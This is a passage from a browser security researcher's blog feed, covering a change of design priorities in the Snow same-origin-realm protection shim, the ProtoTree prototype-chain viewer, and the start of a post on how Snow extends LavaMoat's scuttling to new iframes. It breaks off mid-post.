&lt;p&gt;Quickly after &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/76&quot;&gt;#76&lt;/a&gt;, which was heavily based on &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/118&quot;&gt;#118&lt;/a&gt; thesis, it became clear that &lt;strong&gt;the implementation was wrong&lt;/strong&gt; (thanks you &lt;a href=&quot;https://github.com/mmndaniel&quot;&gt;@mmndaniel&lt;/a&gt;) and that in fact &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/118&quot;&gt;#118&lt;/a&gt; &lt;strong&gt;did more damage than good&lt;/strong&gt; and still allowed most of the sophisticated vulns &lt;strong&gt;bypass Snow&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This brought us to the unfortunate realization that &lt;strong&gt;the approach Snow kicked off with 1y ago is no longer viable&lt;/strong&gt; knowing what we know today about same origin realms, and that it’s &lt;strong&gt;time to adopt a less permissive but more promising approach&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The dream originally was to create a shim that anyone can install taking 2 core rules into account:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Protect ALL same origin realms&lt;/strong&gt;  (aka “1st rule”) - no JS code should be able whatsoever to introduce a new same origin realm that goes under Snow’s radar.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Require little to zero adaptation&lt;/strong&gt;  (aka “2nd rule”) - The website/web app to adopt Snow should do NOTHING more than installing it and passing it a callback. That means Snow must work perfectly regardless of what CSP is configured, and what crazy things the app might attempt to do - &lt;strong&gt;Snow must not rely on any additional help from the website, nor break anything the JS in the website runs.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I was inspired to create Snow after realizing how &lt;strong&gt;big of an issue same origin realms are for third party vendors&lt;/strong&gt; trying to develop JS runtime protection tools for websites. It became clear to me that &lt;strong&gt;all such tools will fail to accomplish their mission if they don’t have full control over their same origin realms&lt;/strong&gt; (&lt;a href=&quot;https://www.youtube.com/watch?v=l2l_qnEhx3M&quot;&gt;I talk about that realization quite a lot&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The 2nd rule was inspired by my experience with developing such third party tools specifically for websites, knowing how websites allow such wacky JS code to run in their site (a behaviour that doesn’t seem to go anywhere in the near future), which requires such protection tools to be &lt;strong&gt;as flexible and agnostic to its runtime environment as possible&lt;/strong&gt;, regardless of how crazy it might be (and websites are CRAZY). Naturally, if I’d wanted such third party security vendors to integrate Snow, &lt;strong&gt;the 2nd rule was non-negotiable&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;And with that in mind, &lt;strong&gt;Snow was created.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Another important thing that happened in the past year was my introduction to the &lt;a href=&quot;https://github.com/agoric&quot;&gt;@agoric&lt;/a&gt; team and to &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#ses&quot;&gt;SES&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Without getting to much into it, what you do need to know is that &lt;strong&gt;SES is a successful attempt to export tools that when are used correctly can harden a given JS environment&lt;/strong&gt; against certain types of attack completely.&lt;/p&gt;
&lt;p&gt;This specifically is something both SES and Snow share - &lt;strong&gt;the identification of a certain (or a set of) security concern(s) and the attempt to form an environment that is resilient to it completely using a JS shim&lt;/strong&gt; (not to say the efforts and accomplishments of Snow and SES are comparable, that would be UNBELIEVABLY pretentious).&lt;/p&gt;
&lt;p&gt;One distinction I had noticed though, was that SES took some choices that were naturally very limiting of the JS environment it was destined to run in, whereas this was the opposite from Snow’s initial approach (aka the 2nd rule).&lt;/p&gt;
&lt;p&gt;At first, I was rather glad that Snow didn’t have to go down a similar path (SPOILER ALERT: As you can realize from reading this, &lt;strong&gt;that isn’t the case anymore&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;But now, 1y later, after being exposed to &lt;strong&gt;so many vulnerabilities in Snow&lt;/strong&gt;, or more accurately - &lt;strong&gt;SO MANY WAYS to create same origin realms&lt;/strong&gt; - it’s more clear to me where the SES project was coming from.&lt;/p&gt;
&lt;p&gt;If my original thinking was that at first priority &lt;strong&gt;the adapting websites must remain fully agnostic to the existence of Snow&lt;/strong&gt; (2nd rule), I now understand that this &lt;strong&gt;comes in the cost of security&lt;/strong&gt; (1st rule). And just like SES, I believe the &lt;strong&gt;1st rule is far more important than the 2nd rule&lt;/strong&gt; (at least in this case), and that it’s time to &lt;strong&gt;change the prioritization of this project&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is yet another (quite long) way of saying:&lt;/p&gt;
&lt;p&gt;With this PR, &lt;strong&gt;Snow officially puts less effort in making sure websites don’t break, and more effort in securing all same origin realms&lt;/strong&gt; from each other in the website.&lt;/p&gt;
&lt;p&gt;This means that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Bypassing Snow should become &lt;strong&gt;significantly harder&lt;/strong&gt; (hopefully)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Snow might no longer allow certain operations to take place and instead &lt;strong&gt;will throw an error to protect the page completely&lt;/strong&gt;. Most of these operations will still be rather unique and unneeded for the average website, but when they happen, &lt;strong&gt;Snow will bail on the operation in sake of keeping the app protected.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.1. Also, Snow’s protection &lt;strong&gt;will still require CSP integration&lt;/strong&gt;, there’s no escape from that (&lt;a href=&quot;https://github.com/LavaMoat/snow/pull/118&quot;&gt;#118&lt;/a&gt; was right about that).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This also means &lt;strong&gt;Snow becomes less of a fit for traditional websites&lt;/strong&gt; (e.g. booking.com) and &lt;strong&gt;third party vendors&lt;/strong&gt; aiming to be integrated in all sorts of wacky JS envs (e.g. PX CodeDefender), but a &lt;strong&gt;better fit for those who can tolerate some initial Snow integration pain&lt;/strong&gt; in order to become a &lt;strong&gt;truly same-origin-realms-attacks resilient app.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Which is unfortunate considering this was the main target audience of Snow in the beginning, but this is what’s right - &lt;strong&gt;security is more important.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because on the other hand, this move will allow apps that can adopt Snow to &lt;strong&gt;become truly secured against the same origin realms problem&lt;/strong&gt;. We can already see this approach being vital in protecting the &lt;a href=&quot;https://metamask.io&quot;&gt;@MetaMask&lt;/a&gt; app (which is the sole maintainer of Snow atm).&lt;/p&gt;
&lt;p&gt;IMPORTANT NOTE: this does not mean websites and third party tools will fail to adopt Snow into them, it just means it MIGHT be potentially harder. This version for example works just fine on most major websites in the world.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Thank you&lt;/strong&gt; &lt;a href=&quot;https://github.com/agoric&quot;&gt;@agoric&lt;/a&gt; for the inspiration with SES to think better about security ❤️.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Proto Tree 🌳 - A Way to Observe the JS Prototype Chain [𝕏]</title>
   <link href="https://weizman.github.io//2023/07/27/proto-tree/"/>
   <updated>2023-07-27T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/07/27/proto-tree</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1684608574444785664&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    You always hear about the prototype chain in #JavaScript, but why isn&apos;t there a way to actually see and play with it?&lt;br&gt;
    &lt;br&gt;
    Well, now there is!&lt;br&gt;
    &lt;br&gt;
    Here&apos;s ProtoTree 🌳 - a fun little app you can use any time to both generate and observe the prototype chain live in the browser as a tree: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F2DukYLacAAPlgH.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;A screenshot of the ProtoTree app in action&quot; src=&quot;https://pbs.twimg.com/media/F2DukYLacAAPlgH.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;br&gt;
    &lt;br&gt;
    Motivation: As a browser security researcher, I always found it weird there isn&apos;t a tool (AFAIK) to help you better understand the proto-chain.&lt;br&gt;
    &lt;br&gt;
    An app you can play with and use to see how everything connects.&lt;br&gt;
    &lt;br&gt;
    It can be useful for a number of reasons:&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest&quot; style=&quot;display: none;&quot;&gt;weizmangal.com/ProtoTree/?fil…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;div&gt;
        &lt;div class=&quot;entity-url-preview&quot;&gt;
            &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                &lt;div class=&quot;border-right align-self-center&quot;&gt;
                    &lt;a target=&quot;_blank&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest&quot; class=&quot;img-cover&quot;&gt;
                        &lt;img src=&quot;https://weizman.github.io/ProtoTree/img.jpg&quot; loading=&quot;lazy&quot; onerror=&quot;this.src=&apos;/images/sticky-note-regular.png&apos;&quot;&gt;
                    &lt;/a&gt;
                &lt;/div&gt;
                &lt;div class=&quot;flex-grow-1&quot; style=&quot;min-width:0&quot;&gt;
                    &lt;div class=&quot;paragraph&quot;&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest&quot;&gt;
                            &lt;strong&gt;ProtoTree - the javascript prototype chain as a tree&lt;/strong&gt;
                            Observe the javascript prototype chain as an interactive tree in the browser
                        &lt;/a&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest&quot;&gt;
                            &lt;small class=&quot;pre-url&quot;&gt;https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest&lt;/small&gt;
                        &lt;/a&gt;
                    &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; Learning!&lt;br&gt;
    &lt;br&gt;
    * Who&apos;re the ancestors of HTMLBodyElement? &lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=HTMLBodyElement&quot;&gt;weizmangal.com/ProtoTree/?filters=HTMLBodyElement&lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    * What are all the error types your browser supports? &lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=error&quot;&gt;weizmangal.com/ProtoTree/?filters=error&lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    * What are all the SVG interfaces your browser supports? &lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/ProtoTree/?filters=SVG&quot;&gt;weizmangal.com/ProtoTree/?filters=SVG&lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    This goes as far as you want it to!
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F2Duk90bcAAJ9UW.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The result of running ProtoTree in Chrome and filtering by &amp;quot;HTMLBodyElement&amp;quot;&quot; src=&quot;https://pbs.twimg.com/media/F2Duk90bcAAJ9UW.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; Research!&lt;br&gt;
    &lt;br&gt;
    Being able to generate this information can be useful to arrive at more insightful conclusions:&lt;br&gt;
    &lt;br&gt;
    * More powerful and accurate feature detection - since ProtoTree walks through EVERYTHING, the tree it outputs is consistent on one hand, but is also sensitive to the...
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    ... slightest modifications to the runtime env on the other hand.&lt;br&gt;
    &lt;br&gt;
    Meaning, the most delicate diffs between envs will affect the result outputted by ProtoTree.&lt;br&gt;
    &lt;br&gt;
    Therefore, it&apos;ll differ among different OSes, browsers, devices - even extensions!&lt;br&gt;
    &lt;br&gt;
    Anyone thinking of finger printing? &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F2Dulj4asAAImJB.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;A JSON diff between the result of running ProtoTree on Chrome and Firefox (using &amp;quot;error&amp;quot; as filter)&quot; src=&quot;https://pbs.twimg.com/media/F2Dulj4asAAImJB.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Whereas the logic behind the app isn&apos;t suited for consuming as API (help is welcome!), it currently offers to:&lt;br&gt;
    &lt;br&gt;
    * Filter the tree by text&lt;br&gt;
    * Jump to key prototypes in the generated chain&lt;br&gt;
    * Copy the output tree as JSON&lt;br&gt;
    * Observe own properties of each prototype in the chain&lt;br&gt;
    &lt;br&gt;
    Also,
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    By opening the devtools, you can investigate the output further by:&lt;br&gt;
    &lt;br&gt;
    * Observing the live values in the tree&lt;br&gt;
    * Observing the entire tree as a JSON object&lt;br&gt;
    * Observing the filtered tree as a JSON object&lt;br&gt;
    &lt;br&gt;
    Without getting into too much detail, here&apos;s how ProtoTree works: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F2DumPVbsAAkTyA.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Showing the extra tools ProtoTree logs to the devtools console for further investigation of the prototype chain tree&quot; src=&quot;https://pbs.twimg.com/media/F2DumPVbsAAkTyA.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    For the generation to remain as pure as possible, it runs in a cross origin &quot;data:&quot; iframe so that scripts polluting the top realm env won&apos;t get in the way.&lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/lavamoat/lavatube/&quot; style=&quot;display: none;&quot;&gt;LavaTube&lt;/a&gt;
    &lt;br&gt;
    The tree construction is done thanks to LavaTube - a security research tool developed &lt;a href=&quot;https://x.com/@MetaMask&quot;&gt;@MetaMask&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    You&apos;re welcome to visit (and ⭐!) the source code &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/weizman/ProtoTree&quot;&gt;&lt;small class=&quot;pre-url&quot;&gt;https://github.com/weizman/ProtoTree&lt;/small&gt;&lt;/a&gt;, be warned that no effort was put into the codebase being well designed and architectured - this is an experimental tool!&lt;br&gt;
    &lt;br&gt;
    Also, the widest the filter is, the longer it&apos;ll take the browser to form the tree!&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/weizman/ProtoTree&quot; style=&quot;display: none;&quot;&gt;github.com/weizman/ProtoT…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    I hope you find this interesting and/or useful!&lt;br&gt;
    &lt;br&gt;
    If this inspires you or gives you any ideas of how ProtoTree can be used, I&apos;d love to hear it!&lt;br&gt;
    &lt;br&gt;
    ProtoTree is served freely on &lt;a href=&quot;https://x.com/@GitHub&quot;&gt;@GitHub&lt;/a&gt; Pages and is MIT licensed for your education, free use, etc.&lt;br&gt;
    &lt;br&gt;
    Made with love for the community ❤️
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>MetaMask JavaScript Security Stack (Part 3 - Snow) [𝕏]</title>
   <link href="https://weizman.github.io//2023/07/14/snow/"/>
   <updated>2023-07-14T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/07/14/snow-</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1679873336510402561&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    After covering LavaMoat 🌋 scuttling #security feature and its fundamental issue of being unable to deny access to the &quot;document&quot; prop, which effectively eliminates its core concept, I implied we address that too with our in-house security tool.&lt;br&gt;
    &lt;br&gt;
    #JavaScript folks? Meet Snow ❄️: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F1Ab5KWacAIL4NH.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;An illustration of why Snow is important to ship LavaMoat security to child vulnerable realms (taken from https://weizmangal.com/2022/11/18/snow-into-metamask/)&quot; src=&quot;https://pbs.twimg.com/media/F1Ab5KWacAIL4NH.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Recap: What&apos;s scuttling?&lt;br&gt;
    &lt;br&gt;
    Scuttling is a security feature in LavaMoat that removes all powerful capabilities from the global object so that if JS code escapes its LavaMoat sandbox to find more powerful APIs, it&apos;ll fail thanks to this feature making the global object useless: &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 715px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1674751159003914240&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1679873336510402561.html&amp;amp;sessionId=6a576a432184797f8ff3985d36d9b4617a608065&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1674751159003914240&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Recap: What&apos;s scuttling&apos;s weak spot?&lt;br&gt;
    &lt;br&gt;
    Problem is, not all props can be scuttled. One specifically (&quot;document&quot;) can be used to form new global objects (e.g. with iframes) where the powerful APIs scuttling tries to deny can once again be found,&lt;br&gt;
    &lt;br&gt;
    Making scuttling not very effective: &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-1&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 1246px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-1&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1677279550957568000&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1679873336510402561.html&amp;amp;sessionId=6a576a432184797f8ff3985d36d9b4617a608065&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1677279550957568000&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    So what can we do about it?&lt;br&gt;
    &lt;br&gt;
    Applying scuttling to all potential future global objects automatically, would restore the power of scuttling.&lt;br&gt;
    &lt;br&gt;
    Because then, if attackers use &quot;document&quot; to create a new global object, scuttling would immediately be applied to that new object - magic! &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F1Ab6C2aAAErNAc.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;A lousy demonstration of how escaping the sandbox and then creating a child realm is not helpful for attackers when you can magically protect all new child realms that come to life in runtime&quot; src=&quot;https://pbs.twimg.com/media/F1Ab6C2aAAErNAc.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In other words:&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; scuttle main global object (=top)&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; intercept iframe creation&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;3. &lt;/span&gt; attacker creates iframe&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;4. &lt;/span&gt; scuttle iframe&apos;s global object at interception&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;5. &lt;/span&gt; return iframe to attacker&lt;br&gt;
    &lt;br&gt;
    Result:&lt;br&gt;
    Attacker gets the iframe they formed, but its global object is also scuttled!&lt;br&gt;
    &lt;br&gt;
    But, &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F1Ab6kQaQAISDjK.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Step by step PoC demo of how recursive scuttling of realms would work&quot; src=&quot;https://pbs.twimg.com/media/F1Ab6kQaQAISDjK.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    This is rather complicated because the browser doesn&apos;t offer us such power.&lt;br&gt;
    &lt;br&gt;
